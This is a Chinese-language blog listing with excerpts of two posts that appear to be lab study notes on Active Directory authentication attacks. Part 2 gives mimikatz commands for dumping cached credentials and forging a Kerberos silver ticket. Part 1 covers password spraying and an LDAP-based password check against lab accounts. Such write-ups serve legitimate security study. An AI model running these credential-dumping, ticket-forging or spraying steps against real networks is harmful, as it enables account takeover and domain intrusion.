發表文章

目前顯示的是有「authentication」標籤的文章

Active Directory 身分驗證攻擊 (2)

圖片
 Active Directory 身分驗證攻擊 (2) Silver Tickets 使用 jeff / HenchmanPutridBonbon11 登入 Client75 後使用 iwr 搭配 -UseDefaultCredentials  存取 web04,指令 iwr -UseDefaultCredentials http://web04 出現 401 - Unauthorized: Access is denied due to invalid credentials. 創建銀票要三個資訊 1. SPN 密碼 Hash 2. 網域 SID 3. 目標服務的 SPN 使用管理員權限啟動 mimikatz.exe 啟動 debug mode "privilege::debug" 接著輸入 sekurlsa::logonpasswords 來提取快取的 AD 憑證 第一個是服務 iis_service SPN 密碼 Hash 如下圖 4d28cf5252d39971419580a51484ca09 第二個是網域 SID,直接使用 whoami /user 去掉尾碼的 1105 就是我們要的網域 SID S-1-5-21-1987370270-658905905-1781884369 第三個是 SPN,使用之前手動枚舉學過的 setspn -L iis_service 查找 SPN : HTTP/web04.corp.com 三個資訊都有了 1. SPN 密碼 Hash : 4d28cf5252d39971419580a51484ca09 2. 網域 SID : S-1-5-21-1987370270-658905905-1781884369 3. 目標服務的 SPN : HTTP/web04.corp.com 接著透過 mimikatz 創建使用者 jeffadmin 的銀票 指令 kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a514...

Active Directory 身分驗證攻擊 (1)

圖片
 Active Directory 身分驗證攻擊 (1) 密碼攻擊 net accounts 先看一下網域內的密碼鎖定原則,才能避免暴力破解密碼攻擊造成帳號鎖定 $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $PDC = ($domainObj.PdcRoleOwner).Name $SearchString = "LDAP://" $SearchString += $PDC + "/" $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))" $SearchString += $DistinguishedName New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!") 如果使用者帳戶的密碼正確,則物件建立將會成功 密碼錯誤出現如下畫面 format-default : The following exception occurred while retrieving member "distinguishedName": " The user name or password is incorrect. " + CategoryInfo : NotSpecified: (:) [format-default], ExtendedTypeSystemException + FullyQualifiedErrorId : CatchFromBaseGetMember,Microsoft.PowerShell.Commands.FormatDefaultCommand 使用密碼噴灑攻擊 Script ".\Spray-Passwords.ps1" 執行該 Script 針對網域內的帳號測試密碼 Nexus123! 獲得了 pete ...